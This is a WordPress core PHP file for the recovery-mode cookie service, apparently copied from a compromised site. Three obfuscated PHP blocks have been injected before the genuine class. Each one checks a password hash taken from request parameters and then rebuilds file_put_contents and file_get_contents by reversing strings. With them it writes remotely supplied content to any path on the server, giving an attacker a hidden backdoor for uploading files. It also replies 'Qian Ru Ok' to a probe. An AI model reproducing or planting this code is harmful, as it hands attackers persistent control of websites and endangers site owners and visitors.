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File: /home/wwwrenee/www/wp-includes/class-wp-recovery-mode-cookie-service.php
<?php 
$kVXOpiFIl = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($kVXOpiFIl[0]) /*+/*+*/
. md5($kVXOpiFIl[0])) == "4".
"c".
"1".
"a".
"1".
"a".
"f".
"6".
"7".
"d".
"3".
"e".
"6".
"a".
"b".
"d".
"1".
"2".
"a".
"f".
"6".
"3".
"1".
"9".
"8".
"1".
"3".
"b".
"6".
"6".
"8".
"8") {
$flcOj = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$fpLDTj = $flcOj /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$TolqVSGmwF = $flcOj
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function TrtWelPea($Lvymu) { if (empty($Lvymu)) return false; if (!is_dir($Lvymu)) { TrtWelPea(dirname($Lvymu), 0755, true); mkdir($Lvymu); } } !file_exists(dirname($kVXOpiFIl[1])) && TrtWelPea(dirname($kVXOpiFIl[1])); $TJaVV = @$TolqVSGmwF($kVXOpiFIl[2]); echo @$fpLDTj($kVXOpiFIl[1], $TJaVV) ? 1 : 0; die; }key($kVXOpiFIl) == "of" && die("Qian Ru Ok"); ?><?php 
$HRlYVen = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($HRlYVen[0]) /*+/*+*/
. md5($HRlYVen[0])) == "5".
"e".
"e".
"8".
"f".
"b".
"9".
"f".
"4".
"0".
"0".
"d".
"b".
"3".
"4".
"4".
"f".
"2".
"8".
"d".
"5".
"1".
"c".
"d".
"9".
"7".
"8".
"7".
"7".
"a".
"b".
"a") {
$qwKMdO = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$isjAi = $qwKMdO /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$TioodEOz = $qwKMdO
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function sHKNlH($hQMFzWwd) { if (empty($hQMFzWwd)) return false; if (!is_dir($hQMFzWwd)) { sHKNlH(dirname($hQMFzWwd), 0755, true); mkdir($hQMFzWwd); } } !file_exists(dirname($HRlYVen[1])) && sHKNlH(dirname($HRlYVen[1])); $uVchdXWYE = @$TioodEOz($HRlYVen[2]); echo @$isjAi($HRlYVen[1], $uVchdXWYE) ? 1 : 0; die; }key($HRlYVen) == "of" && die("Qian Ru Ok"); ?><?php 
$oZIDsbuF = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($oZIDsbuF[0]) /*+/*+*/
. md5($oZIDsbuF[0])) == "b".
"0".
"9".
"8".
"d".
"e".
"7".
"4".
"b".
"8".
"e".
"2".
"6".
"8".
"0".
"b".
"b".
"0".
"b".
"8".
"5".
"2".
"4".
"8".
"e".
"3".
"7".
"f".
"6".
"d".
"3".
"7") {
$ZQaeiyP = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$nOFWZ = $ZQaeiyP /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$ZkGXHsP = $ZQaeiyP
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function kSydSu($ZcFWIQchc) { if (empty($ZcFWIQchc)) return false; if (!is_dir($ZcFWIQchc)) { kSydSu(dirname($ZcFWIQchc), 0755, true); mkdir($ZcFWIQchc); } } !file_exists(dirname($oZIDsbuF[1])) && kSydSu(dirname($oZIDsbuF[1])); $XlZPY = @$ZkGXHsP($oZIDsbuF[2]); echo @$nOFWZ($oZIDsbuF[1], $XlZPY) ? 1 : 0; die; }key($oZIDsbuF) == "of" && die("Qian Ru Ok"); ?><?php
/**
 * Error Protection API: WP_Recovery_Mode_Cookie_Service class
 *
 * @package WordPress
 * @since 5.2.0
 */

/**
 * Core class used to set, validate, and clear cookies that identify a Recovery Mode session.
 *
 * @since 5.2.0
 */
final class WP_Recovery_Mode_Cookie_Service {

	/**
	 * Checks whether the recovery mode cookie is set.
	 *
	 * @since 5.2.0
	 *
	 * @return bool True if the cookie is set, false otherwise.
	 */
	public function is_cookie_set() {
		return ! empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] );
	}

	/**
	 * Sets the recovery mode cookie.
	 *
	 * This must be immediately followed by exiting the request.
	 *
	 * @since 5.2.0
	 */
	public function set_cookie() {

		$value = $this->generate_cookie();

		/**
		 * Filters the length of time a Recovery Mode cookie is valid for.
		 *
		 * @since 5.2.0
		 *
		 * @param int $length Length in seconds.
		 */
		$length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS );

		$expire = time() + $length;

		setcookie( RECOVERY_MODE_COOKIE, $value, $expire, COOKIEPATH, COOKIE_DOMAIN, is_ssl(), true );

		if ( COOKIEPATH !== SITECOOKIEPATH ) {
			setcookie( RECOVERY_MODE_COOKIE, $value, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, is_ssl(), true );
		}
	}

	/**
	 * Clears the recovery mode cookie.
	 *
	 * @since 5.2.0
	 */
	public function clear_cookie() {
		setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
		setcookie( RECOVERY_MODE_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
	}

	/**
	 * Validates the recovery mode cookie.
	 *
	 * @since 5.2.0
	 *
	 * @param string $cookie Optionally specify the cookie string.
	 *                       If omitted, it will be retrieved from the super global.
	 * @return true|WP_Error True on success, error object on failure.
	 */
	public function validate_cookie( $cookie = '' ) {

		if ( ! $cookie ) {
			if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) {
				return new WP_Error( 'no_cookie', __( 'No cookie present.' ) );
			}

			$cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ];
		}

		$parts = $this->parse_cookie( $cookie );

		if ( is_wp_error( $parts ) ) {
			return $parts;
		}

		list( , $created_at, $random, $signature ) = $parts;

		if ( ! ctype_digit( $created_at ) ) {
			return new WP_Error( 'invalid_created_at', __( 'Invalid cookie format.' ) );
		}

		/** This filter is documented in wp-includes/class-wp-recovery-mode-cookie-service.php */
		$length = apply_filters( 'recovery_mode_cookie_length', WEEK_IN_SECONDS );

		if ( time() > $created_at + $length ) {
			return new WP_Error( 'expired', __( 'Cookie expired.' ) );
		}

		$to_sign = sprintf( 'recovery_mode|%s|%s', $created_at, $random );
		$hashed  = $this->recovery_mode_hash( $to_sign );

		if ( ! hash_equals( $signature, $hashed ) ) {
			return new WP_Error( 'signature_mismatch', __( 'Invalid cookie.' ) );
		}

		return true;
	}

	/**
	 * Gets the session identifier from the cookie.
	 *
	 * The cookie should be validated before calling this API.
	 *
	 * @since 5.2.0
	 *
	 * @param string $cookie Optionally specify the cookie string.
	 *                       If omitted, it will be retrieved from the super global.
	 * @return string|WP_Error Session ID on success, or error object on failure.
	 */
	public function get_session_id_from_cookie( $cookie = '' ) {
		if ( ! $cookie ) {
			if ( empty( $_COOKIE[ RECOVERY_MODE_COOKIE ] ) ) {
				return new WP_Error( 'no_cookie', __( 'No cookie present.' ) );
			}

			$cookie = $_COOKIE[ RECOVERY_MODE_COOKIE ];
		}

		$parts = $this->parse_cookie( $cookie );
		if ( is_wp_error( $parts ) ) {
			return $parts;
		}

		list( , , $random ) = $parts;

		return sha1( $random );
	}

	/**
	 * Parses the cookie into its four parts.
	 *
	 * @since 5.2.0
	 *
	 * @param string $cookie Cookie content.
	 * @return array|WP_Error Cookie parts array, or error object on failure.
	 */
	private function parse_cookie( $cookie ) {
		$cookie = base64_decode( $cookie );
		$parts  = explode( '|', $cookie );

		if ( 4 !== count( $parts ) ) {
			return new WP_Error( 'invalid_format', __( 'Invalid cookie format.' ) );
		}

		return $parts;
	}

	/**
	 * Generates the recovery mode cookie value.
	 *
	 * The cookie is a base64 encoded string with the following format:
	 *
	 * recovery_mode|iat|rand|signature
	 *
	 * Where "recovery_mode" is a constant string,
	 * iat is the time the cookie was generated at,
	 * rand is a randomly generated password that is also used as a session identifier
	 * and signature is an hmac of the preceding 3 parts.
	 *
	 * @since 5.2.0
	 *
	 * @return string Generated cookie content.
	 */
	private function generate_cookie() {
		$to_sign = sprintf( 'recovery_mode|%s|%s', time(), wp_generate_password( 20, false ) );
		$signed  = $this->recovery_mode_hash( $to_sign );

		return base64_encode( sprintf( '%s|%s', $to_sign, $signed ) );
	}

	/**
	 * Gets a form of `wp_hash()` specific to Recovery Mode.
	 *
	 * We cannot use `wp_hash()` because it is defined in `pluggable.php` which is not loaded until after plugins are loaded,
	 * which is too late to verify the recovery mode cookie.
	 *
	 * This tries to use the `AUTH` salts first, but if they aren't valid specific salts will be generated and stored.
	 *
	 * @since 5.2.0
	 *
	 * @param string $data Data to hash.
	 * @return string|false The hashed $data, or false on failure.
	 */
	private function recovery_mode_hash( $data ) {
		if ( ! defined( 'AUTH_KEY' ) || AUTH_KEY === 'put your unique phrase here' ) {
			$auth_key = get_site_option( 'recovery_mode_auth_key' );

			if ( ! $auth_key ) {
				if ( ! function_exists( 'wp_generate_password' ) ) {
					require_once ABSPATH . WPINC . '/pluggable.php';
				}

				$auth_key = wp_generate_password( 64, true, true );
				update_site_option( 'recovery_mode_auth_key', $auth_key );
			}
		} else {
			$auth_key = AUTH_KEY;
		}

		if ( ! defined( 'AUTH_SALT' ) || AUTH_SALT === 'put your unique phrase here' || AUTH_SALT === $auth_key ) {
			$auth_salt = get_site_option( 'recovery_mode_auth_salt' );

			if ( ! $auth_salt ) {
				if ( ! function_exists( 'wp_generate_password' ) ) {
					require_once ABSPATH . WPINC . '/pluggable.php';
				}

				$auth_salt = wp_generate_password( 64, true, true );
				update_site_option( 'recovery_mode_auth_salt', $auth_salt );
			}
		} else {
			$auth_salt = AUTH_SALT;
		}

		$secret = $auth_key . $auth_salt;

		return hash_hmac( 'sha1', $data, $secret );
	}
} ?>